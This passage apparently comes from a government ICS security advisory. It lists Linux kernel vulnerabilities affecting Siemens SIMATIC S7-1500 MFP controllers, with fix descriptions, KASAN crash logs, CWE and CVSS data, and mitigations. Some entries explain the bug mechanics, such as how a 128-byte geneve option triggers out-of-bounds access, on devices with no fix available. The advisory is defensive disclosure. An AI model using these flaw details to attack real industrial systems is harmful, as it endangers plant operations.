<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21999</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: proc: fix UAF in proc_get_inode() Fix race between rmmod and /proc/XXX's inode instantiation. The bug is that pde-&gt;proc_ops don't belong to /proc, it belongs to a module, therefore dereferencing it after /proc entry has been registered is a bug unless use_pde/unuse_pde() pair has been used. use_pde/unuse_pde can be avoided (2 atomic ops!) because pde-&gt;proc_ops never changes so information necessary for inode instantiation can be saved _before_ proc_register() in PDE itself and used later, avoiding pde-&gt;proc_ops-&gt;... dereference. rmmod lookup sys_delete_module proc_lookup_de pde_get(de); proc_get_inode(dir-&gt;i_sb, de); mod-&gt;exit() proc_remove remove_proc_subtree proc_entry_rundown(de); free_module(mod); if (S_ISREG(inode-&gt;i_mode)) if (de-&gt;proc_ops-&gt;proc_read_iter) --&gt; As module is already freed, will trigger UAF BUG: unable to handle page fault for address: fffffbfff80a702b PGD 817fc4067 P4D 817fc4067 PUD 817fc0067 PMD 102ef4067 PTE 0 Oops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 26 UID: 0 PID: 2667 Comm: ls Tainted: G Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) RIP: 0010:proc_get_inode+0x302/0x6e0 RSP: 0018:ffff88811c837998 EFLAGS: 00010a06 RAX: dffffc0000000000 RBX: ffffffffc0538140 RCX: 0000000000000007 RDX: 1ffffffff80a702b RSI: 0000000000000001 RDI: ffffffffc0538158 RBP: ffff8881299a6000 R08: 0000000067bbe1e5 R09: 1ffff11023906f20 R10: ffffffffb560ca07 R11: ffffffffb2b43a58 R12: ffff888105bb78f0 R13: ffff888100518048 R14: ffff8881299a6004 R15: 0000000000000001 FS: 00007f95b9686840(0000) GS:ffff8883af100000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: fffffbfff80a702b CR3: 0000000117dd2000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: proc_lookup_de+0x11f/0x2e0 __lookup_slow+0x188/0x350 walk_component+0x2ab/0x4f0 path_lookupat+0x120/0x660 filename_lookup+0x1ce/0x560 vfs_statx+0xac/0x150 __do_sys_newstat+0x96/0x110 do_syscall_64+0x5f/0x170 entry_SYSCALL_64_after_hwframe+0x76/0x7e [adobriyan@gmail.com: don't do 2 atomic ops on the common path]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21999">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22005</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix memleak of nhc_pcpu_rth_output in fib_check_nh_v6_gw(). fib_check_nh_v6_gw() expects that fib6_nh_init() cleans up everything when it fails. Commit 7dd73168e273 ("ipv6: Always allocate pcpu memory in a fib6_nh") moved fib_nh_common_init() before alloc_percpu_gfp() within fib6_nh_init() but forgot to add cleanup for fib6_nh-&gt;nh_common.nhc_pcpu_rth_output in case it fails to allocate fib6_nh-&gt;rt6i_pcpu, resulting in memleak. Let's call fib_nh_common_release() and clear nhc_pcpu_rth_output in the error path. Note that we can remove the fib6_nh_release() call in nh_create_ipv6() later in net-next.git.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22005">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22015</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/migrate: fix shmem xarray update during migration A shmem folio can be either in page cache or in swap cache, but not at the same time. Namely, once it is in swap cache, folio-&gt;mapping should be NULL, and the folio is no longer in a shmem mapping. In __folio_migrate_mapping(), to determine the number of xarray entries to update, folio_test_swapbacked() is used, but that conflates shmem in page cache case and shmem in swap cache case. It leads to xarray multi-index entry corruption, since it turns a sibling entry to a normal entry during xas_store() (see [1] for a userspace reproduction). Fix it by only using folio_test_swapcache() to determine whether xarray is storing swap cache entries or not to choose the right number of xarray entries to update. [1] https://lore.kernel.org/linux-mm/Z8idPCkaJW1IChjT@casper.infradead.org/ Note: In __split_huge_page(), folio_test_anon() &amp;&amp; folio_test_swapcache() is used to get swap_cache address space, but that ignores the shmem folio in swap cache case. It could lead to NULL pointer dereferencing when a in-swap-cache shmem folio is split at __xa_store(), since !folio_test_anon() is true and folio-&gt;mapping is NULL. But fortunately, its caller split_huge_page_to_list_to_order() bails out early with EBUSY when folio-&gt;mapping is NULL. So no need to take care of it here.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22015">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22055</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix geneve_opt length integer overflow struct geneve_opt uses 5 bit length for each single option, which means every vary size option should be smaller than 128 bytes. However, all current related Netlink policies cannot promise this length condition and the attacker can exploit a exact 128-byte size option to *fake* a zero length option and confuse the parsing logic, further achieve heap out-of-bounds read. One example crash log is like below: [ 3.905425] ================================================================== [ 3.905925] BUG: KASAN: slab-out-of-bounds in nla_put+0xa9/0xe0 [ 3.906255] Read of size 124 at addr ffff888005f291cc by task poc/177 [ 3.906646] [ 3.906775] CPU: 0 PID: 177 Comm: poc-oob-read Not tainted 6.1.132 #1 [ 3.907131] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 3.907784] Call Trace: [ 3.907925] [ 3.908048] dump_stack_lvl+0x44/0x5c [ 3.908258] print_report+0x184/0x4be [ 3.909151] kasan_report+0xc5/0x100 [ 3.909539] kasan_check_range+0xf3/0x1a0 [ 3.909794] memcpy+0x1f/0x60 [ 3.909968] nla_put+0xa9/0xe0 [ 3.910147] tunnel_key_dump+0x945/0xba0 [ 3.911536] tcf_action_dump_1+0x1c1/0x340 [ 3.912436] tcf_action_dump+0x101/0x180 [ 3.912689] tcf_exts_dump+0x164/0x1e0 [ 3.912905] fw_dump+0x18b/0x2d0 [ 3.913483] tcf_fill_node+0x2ee/0x460 [ 3.914778] tfilter_notify+0xf4/0x180 [ 3.915208] tc_new_tfilter+0xd51/0x10d0 [ 3.918615] rtnetlink_rcv_msg+0x4a2/0x560 [ 3.919118] netlink_rcv_skb+0xcd/0x200 [ 3.919787] netlink_unicast+0x395/0x530 [ 3.921032] netlink_sendmsg+0x3d0/0x6d0 [ 3.921987] __sock_sendmsg+0x99/0xa0 [ 3.922220] __sys_sendto+0x1b7/0x240 [ 3.922682] __x64_sys_sendto+0x72/0x90 [ 3.922906] do_syscall_64+0x5e/0x90 [ 3.923814] entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 3.924122] RIP: 0033:0x7e83eab84407 [ 3.924331] Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 &lt;5b&gt; c3 0f 1f 80 00 00 00 00 83 e2 39 83 faf [ 3.925330] RSP: 002b:00007ffff505e370 EFLAGS: 00000202 ORIG_RAX: 000000000000002c [ 3.925752] RAX: ffffffffffffffda RBX: 00007e83eaafa740 RCX: 00007e83eab84407 [ 3.926173] RDX: 00000000000001a8 RSI: 00007ffff505e3c0 RDI: 0000000000000003 [ 3.926587] RBP: 00007ffff505f460 R08: 00007e83eace1000 R09: 000000000000000c [ 3.926977] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffff505f3c0 [ 3.927367] R13: 00007ffff505f5c8 R14: 00007e83ead1b000 R15: 00005d4fbbe6dcb8 Fix these issues by enforing correct length condition in related policies.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22055">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22056</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_tunnel: fix geneve_opt type confusion addition When handling multiple NFTA_TUNNEL_KEY_OPTS_GENEVE attributes, the parsing logic should place every geneve_opt structure one by one compactly. Hence, when deciding the next geneve_opt position, the pointer addition should be in units of char *. However, the current implementation erroneously does type conversion before the addition, which will lead to heap out-of-bounds write. [ 6.989857] ================================================================== [ 6.990293] BUG: KASAN: slab-out-of-bounds in nft_tunnel_obj_init+0x977/0xa70 [ 6.990725] Write of size 124 at addr ffff888005f18974 by task poc/178 [ 6.991162] [ 6.991259] CPU: 0 PID: 178 Comm: poc-oob-write Not tainted 6.1.132 #1 [ 6.991655] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 [ 6.992281] Call Trace: [ 6.992423] [ 6.992586] dump_stack_lvl+0x44/0x5c [ 6.992801] print_report+0x184/0x4be [ 6.993790] kasan_report+0xc5/0x100 [ 6.994252] kasan_check_range+0xf3/0x1a0 [ 6.994486] memcpy+0x38/0x60 [ 6.994692] nft_tunnel_obj_init+0x977/0xa70 [ 6.995677] nft_obj_init+0x10c/0x1b0 [ 6.995891] nf_tables_newobj+0x585/0x950 [ 6.996922] nfnetlink_rcv_batch+0xdf9/0x1020 [ 6.998997] nfnetlink_rcv+0x1df/0x220 [ 6.999537] netlink_unicast+0x395/0x530 [ 7.000771] netlink_sendmsg+0x3d0/0x6d0 [ 7.001462] __sock_sendmsg+0x99/0xa0 [ 7.001707] ____sys_sendmsg+0x409/0x450 [ 7.002391] ___sys_sendmsg+0xfd/0x170 [ 7.003145] __sys_sendmsg+0xea/0x170 [ 7.004359] do_syscall_64+0x5e/0x90 [ 7.005817] entry_SYSCALL_64_after_hwframe+0x6e/0xd8 [ 7.006127] RIP: 0033:0x7ec756d4e407 [ 7.006339] Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 &lt;5b&gt; c3 0f 1f 80 00 00 00 00 83 e2 39 83 faf [ 7.007364] RSP: 002b:00007ffed5d46760 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 7.007827] RAX: ffffffffffffffda RBX: 00007ec756cc4740 RCX: 00007ec756d4e407 [ 7.008223] RDX: 0000000000000000 RSI: 00007ffed5d467f0 RDI: 0000000000000003 [ 7.008620] RBP: 00007ffed5d468a0 R08: 0000000000000000 R09: 0000000000000000 [ 7.009039] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000 [ 7.009429] R13: 00007ffed5d478b0 R14: 00007ec756ee5000 R15: 00005cbd4e655cb8 Fix this bug with correct pointer addition and conversion in parse and dump code.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22056">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22060</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: Prevent parser TCAM memory corruption Protect the parser TCAM/SRAM memory, and the cached (shadow) SRAM information, from concurrent modifications. Both the TCAM and SRAM tables are indirectly accessed by configuring an index register that selects the row to read or write to. This means that operations must be atomic in order to, e.g., avoid spreading writes across multiple rows. Since the shadow SRAM array is used to find free rows in the hardware table, it must also be protected in order to avoid TOCTOU errors where multiple cores allocate the same row. This issue was detected in a situation where `mvpp2_set_rx_mode()` ran concurrently on two CPUs. In this particular case the MVPP2_PE_MAC_UC_PROMISCUOUS entry was corrupted, causing the classifier unit to drop all incoming unicast - indicated by the `rx_classifier_drops` counter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22060">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22083</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vhost-scsi: Fix handling of multiple calls to vhost_scsi_set_endpoint If vhost_scsi_set_endpoint is called multiple times without a vhost_scsi_clear_endpoint between them, we can hit multiple bugs found by Haoran Zhang: 1. Use-after-free when no tpgs are found: This fixes a use after free that occurs when vhost_scsi_set_endpoint is called more than once and calls after the first call do not find any tpgs to add to the vs_tpg. When vhost_scsi_set_endpoint first finds tpgs to add to the vs_tpg array match=true, so we will do: vhost_vq_set_backend(vq, vs_tpg); ... kfree(vs-&gt;vs_tpg); vs-&gt;vs_tpg = vs_tpg; If vhost_scsi_set_endpoint is called again and no tpgs are found match=false so we skip the vhost_vq_set_backend call leaving the pointer to the vs_tpg we then free via: kfree(vs-&gt;vs_tpg); vs-&gt;vs_tpg = vs_tpg; If a scsi request is then sent we do: vhost_scsi_handle_vq -&gt; vhost_scsi_get_req -&gt; vhost_vq_get_backend which sees the vs_tpg we just did a kfree on. 2. Tpg dir removal hang: This patch fixes an issue where we cannot remove a LIO/target layer tpg (and structs above it like the target) dir due to the refcount dropping to -1. The problem is that if vhost_scsi_set_endpoint detects a tpg is already in the vs-&gt;vs_tpg array or if the tpg has been removed so target_depend_item fails, the undepend goto handler will do target_undepend_item on all tpgs in the vs_tpg array dropping their refcount to 0. At this time vs_tpg contains both the tpgs we have added in the current vhost_scsi_set_endpoint call as well as tpgs we added in previous calls which are also in vs-&gt;vs_tpg. Later, when vhost_scsi_clear_endpoint runs it will do target_undepend_item on all the tpgs in the vs-&gt;vs_tpg which will drop their refcount to -1. Userspace will then not be able to remove the tpg and will hang when it tries to do rmdir on the tpg dir. 3. Tpg leak: This fixes a bug where we can leak tpgs and cause them to be un-removable because the target name is overwritten when vhost_scsi_set_endpoint is called multiple times but with different target names. The bug occurs if a user has called VHOST_SCSI_SET_ENDPOINT and setup a vhost-scsi device to target/tpg mapping, then calls VHOST_SCSI_SET_ENDPOINT again with a new target name that has tpgs we haven't seen before (target1 has tpg1 but target2 has tpg2). When this happens we don't teardown the old target tpg mapping and just overwrite the target name and the vs-&gt;vs_tpg array. Later when we do vhost_scsi_clear_endpoint, we are passed in either target1 or target2's name and we will only match that target's tpgs when we loop over the vs-&gt;vs_tpg. We will then return from the function without doing target_undepend_item on the tpgs. Because of all these bugs, it looks like being able to call vhost_scsi_set_endpoint multiple times was never supported. The major user, QEMU, already has checks to prevent this use case. So to fix the issues, this patch prevents vhost_scsi_set_endpoint from being called if it's already successfully added tpgs. To add, remove or change the tpg config or target name, you must do a vhost_scsi_clear_endpoint first.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22083">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
